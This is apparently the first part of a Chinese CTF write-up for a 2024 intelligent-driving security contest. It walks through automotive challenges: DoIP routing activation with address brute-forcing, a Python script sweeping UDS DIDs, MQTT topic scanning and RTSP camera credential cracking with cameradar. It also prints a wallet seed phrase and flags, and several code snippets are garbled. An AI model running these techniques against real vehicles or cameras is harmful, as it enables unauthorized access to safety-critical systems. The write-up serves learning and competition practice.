01 Autopilot Ghost
The vehicle triggered the AEB (Automatic Emergency Braking) decision during the autonomous driving process and disengaged Autopilot. Please analyze the reasoning behind the AP (Autopilot) decision.Flag is a hash
数据包为LIDAR采集到的点云成像数据,使用点云成像对数据包进行成像可还原内容,flag为动作名称的32位md5
02 OEM安全失效
(2)获取到钱包12位单词 soda enable capable raven square wood carry credit depend real between attack 再次解码该地址的 calldatahttps://sepolia.etherscan.io/address/0x6c5c2B93979ddD826eE18BA144cc7A1AF292 1788
(3)获取到压缩包密码,解密拿到flag
03 行车记录
驾驶员在以433.92km行驶过程中发生意外碰撞,导致行车记录仪数据丢失,请恢复行车记录仪数据
行车记录仪数据为信号频谱数据,通过信号频谱分析工具可以读取其中内容
04 汽车照片存储
在汽车的照片存储空间里面有你想要的
(1)本题所有密码都是“you” ,图片you.jpg中有线索
(2)使用steghide提取1.jpg和2.jpg
(3)使用flag1中的私钥解密flag,加密条目已经告知了
(4)得到flag: fvir7hy5dzolsl2e8qphafjg9ee090840ac48a31O4M0qGdo2fibcat
05 CyberPhantomLeak:The Ghostly Data Outflow
某车企内网纯物理隔离且屏蔽了所有无线信号,但车企核心数据还是泄露了,请分析日志
(1)打印机打印IPP协议
(2)这里的数据为postscript描述脚本,使用gs转换为pdf(gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf 1.ps)
(3)还有一个png文件,再转换一下。将两个拼起来得到flag
06 车载通信协议
常用智能汽车通信协议知多少(非web)
(1)使用mqtt-pwn连接提供的地址
(2)查看扫描结果,发现flag主题
(3)使用MQTTX订阅flag主题
(4)回复flag
(5)拿到flag: ftad3llgat8ngc7bfc934e629b8d35Tsummer
07 初识DOIP
车辆出故障了,请用诊断仪分析故障信息?
(1)对提供的以太网地址进行端口扫描,存在13400 DoIP诊断服务端口
(2)编写客户端代码,随便填写一个源逻辑地址0x0001路由激活失败,可以编写脚本爆破逻辑地址
(3)当源逻辑地址填为0x0002时,路由激活成功
(4)编写脚本,读取DID的数据
(5)遍历DID值为0x6666时,存在flag: 666d786c6675736c7832703163686163326171786b7a6736643535323766383630646631323935437a6c345938583954516330524c3366677244706f7461746f
(6)hex转化成字符串
(7)所涉及到的脚本代码:
import socket
# DoIP常量定义
PROTOCOL_VERSION = 0x02
INVERSE_PROTOCOL_VERSION = 0xfd
ROUTING_ACTIVATION_REQUEST = 0x0005
ROUTING_ACTIVATION_RESPONSE = 0x0006
DIAGNOSTIC_MESSAGE = 0x8001
ISO_RESERVED = 0x00
ROUTING_ACTIVATION = 0x00
ROUTING_ACTIVATION_SUCCESS = 0x10
# 目标地址和源地址
TARGET_ADDRESS = 0x0003
SOURCE_ADDRESS = 0x0002
# 创建TCP/IP套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接到服务器
server_address = (‘IP’, 13400) # 替换成目标的IP地址和端口号
sock.connect(server_address)
try:
#构造路由激活请求报文
routing_activation_request = (
PROTOCOL_VERSION.to_bytes(1, ‘big’) +
INVERSE_PROTOCOL_VERSION.to_bytes(1, ‘big’) +
ROUTING_ACTIVATION_REQUEST.to_bytes(2, ‘big’) +
(0x0008).to_bytes(4, ‘big’) +
SOURCE_ADDRESS.to_bytes(2, ‘big’) +
ISO_RESERVED.to_bytes(2, ‘big’) +
ROUTING_ACTIVATION.to_bytes(1, ‘big’) +
ISO_RESERVED.to_bytes(1, ‘big’) +
b’x00x00x00x00x00x00x00x00x00′
)
#发送路由激活请求
sock.sendall(routing_activation_request)
#接收路由激活响应
response = sock.recv(1024)
print(“Send:”, routing_activation_request.hex())
print(“Received:”, response.hex())
#检查是否成功激活
if response[2:4] == ROUTING_ACTIVATION_RESPONSE.to_bytes(2, ‘big’) and response[12] == ROUTING_ACTIVATION_SUCCESS:
print(“Routing activation successful.”)
service_id = 0x22
format_length = 0x03
DID_SUCCESS= 0x62
for did in range(0x0000, 0xFFFF):
did_to_read = did
diagnostic_payload = (
service_id.to_bytes(1, ‘big’) +
did_to_read.to_bytes(2, ‘big’)
)
diagnostic_message_length = len(diagnostic_payload)
diagnostic_message = (
PROTOCOL_VERSION.to_bytes(1, ‘big’) +
INVERSE_PROTOCOL_VERSION.to_bytes(1, ‘big’) +
DIAGNOSTIC_MESSAGE.to_bytes(2, ‘big’) +
(diagnostic_message_length + 4).to_bytes(4, ‘big’) +
SOURCE_ADDRESS.to_bytes(2, ‘big’) +
TARGET_ADDRESS.to_bytes(2, ‘big’) +
diagnostic_payload
)
sock.sendall(diagnostic_message)
# 接收服务22的响应
service_22_response = sock.recv(1024)
if service_22_response[12] == DID_SUCCESS:
print(“Received:”, service_22_response.hex())
else:
print(“Routing activation failed.”)
finally:
sock.close()
08 嵌入式程序简单逆向
这个程序的参数是lx9bma<lv]bc|azxeap:bv_k.l5:g;e9:g5g-ge:WnhNeGi=U6_-x]u^7XlpI;wZ^],运行的结果是什么呢?
(1)题目提供了一个字符串和一个文件,先看看这个文件,是一个arm汇编文件
(2)分析一下这段汇编代码,程序先执行.LFB0位置,直接跳转.L2
09 迷失的道路
在没有灯光的深夜,他迷失了方向,而终点在哈希
文件为GPS位置经纬度信息,组合起来为FLAG
import re
import matplotlib.pyplot as plt
# Compile a regular expression pattern for parsing GPS data
pattern = re.compile(
r”(d+.d+),(-?d+.d+),([NS]),(-?d+.d+),([EW]),(d),(d+),”
r”(d+.d+),(-?d+.d+),M,(-?d+.d+),M,,”
)
# Lists to store longitude and latitude values
lons, lats = [], []
# Open the GPS data file and read line by line
with open(“D05DEF1F5E2E6886648BC870699CB0B9”, “r”) as file:
for line in file:
# Match each line against the pattern
m = pattern.match(line)
if m:
# Extract latitude and longitude from the matched groups
lat = float(m.group(2))
lat_dir = m.group(3)
lon = float(m.group(4))
lon_dir = m.group(5)
# Convert to decimal degrees
lat = (lat / 100.0) + (lat % 100.0) / 60.0
lon = (lon / 100.0) + (lon % 100.0) / 60.0
# Adjust for direction
if lat_dir == “S”:
lat = -lat
if lon_dir == “W”:
lon = -lon
# Append the adjusted values to the lists
lons.append(lon)
lats.append(lat)
# Plot the longitude and latitude values
plt.plot(lons, lats)
# Set the labels for the axes
plt.xlabel(“Longitude (degrees)”)
plt.ylabel(“Latitude (degrees)”)
# Display the plot
plt.show()
10 读取ECU安全日志
某ECU使用doip作为诊断,其安全日志存储在DID f156中,你能读取到它吗?(不是web)
(1)连接doip并激活路由得到ECU目标地址0x1523:
发送:02fd0005000000070e800000000000
(2)发送读取DID的数据
(3)当前会话不支持,编写脚本,在每个会话下读取DID F156查看读取的结果执行1.py:
(4)切换到1097会话下读取到DID:5a6d56684e7a4a346247357959577075595763785a6d55794e4751335a5749314f4759324e6d55354f544632616b5a6e574864774d6d4a7665513d3d
(5)十六进制转ascii
Base64解码得到flag:fea72xlnrajnag1fe24d7eb58f66e991vjFgXwp2boy
11 UDS认证
车辆uds是怎么认证的?
(1)根据题目提示;打开文件;搜索022702
(2)找到对应的响应包,对数据进行转换(最后一个A不用管)66 32 33 39 7A 73 72 65 6C 38 6B 6E 6A 62 37 36 39 6D 61 62 32 67 37 30 30 65 64 64 63 62 35 36 33 37 62 36 35 32 4E 35 48 4C 62 79 65
(3)flag:f239zsrel8knjb769mab2g700eddcb5637b652N5HLbye
12 哨兵模式
哨兵能突破人类的视觉极限(不是web)
(1)扫描发现目标ip开放8554,为rtsp端口
(2)使用rtsp破解工具(如sudo docker run -it ullaakut/cameradar -t target_ip),破解视频流路径
(3)使用vlc获得路径、用户名、密码视频拉流
(4)视频流部分频段存在flag
获取flag为: fdtcl5uki3aetd2jn6y9gbbc1ab5c745571beP8oLAdJO4h1iQn3E6yV5bSWwaKRDGMHTtzZkxC0gsmIu7pclf9rbefore
13 读取ECU DID数据
某ECU使用doip作为诊断,其敏感数据存放在DID F1A0,尝试获取到它!提示:该ECU密钥灌装后,其数据存放在DID f172中
(1)连接doip并激活路由得到ECU目标地址0x0001:02fd0005000000070e800000000000
(2)直接读取F1A0显示需要过27
(3)发送DOIP数据02FD8001000000070E80152322F172,22f172显示当前会话不支持
(4)切换会话并读取,读取到DID : F1724c5330744c5331435255644a5469425156554a4d53554d675330565a4c5330744c53304b54554e4a643052525755704c6231704a61485a6a546b465252554a4355554645525646426430526e53556842616e4a4b516a417a637a56335355524255554643436930744c5330745255354549464256516b784a5179424c52566b744c5330744c513d3d
(7)求出私钥
WriteUP系列将持续更新,敬请关注护车行动!
原文始发于微信公众号(护车行动):【WriteUP·上篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛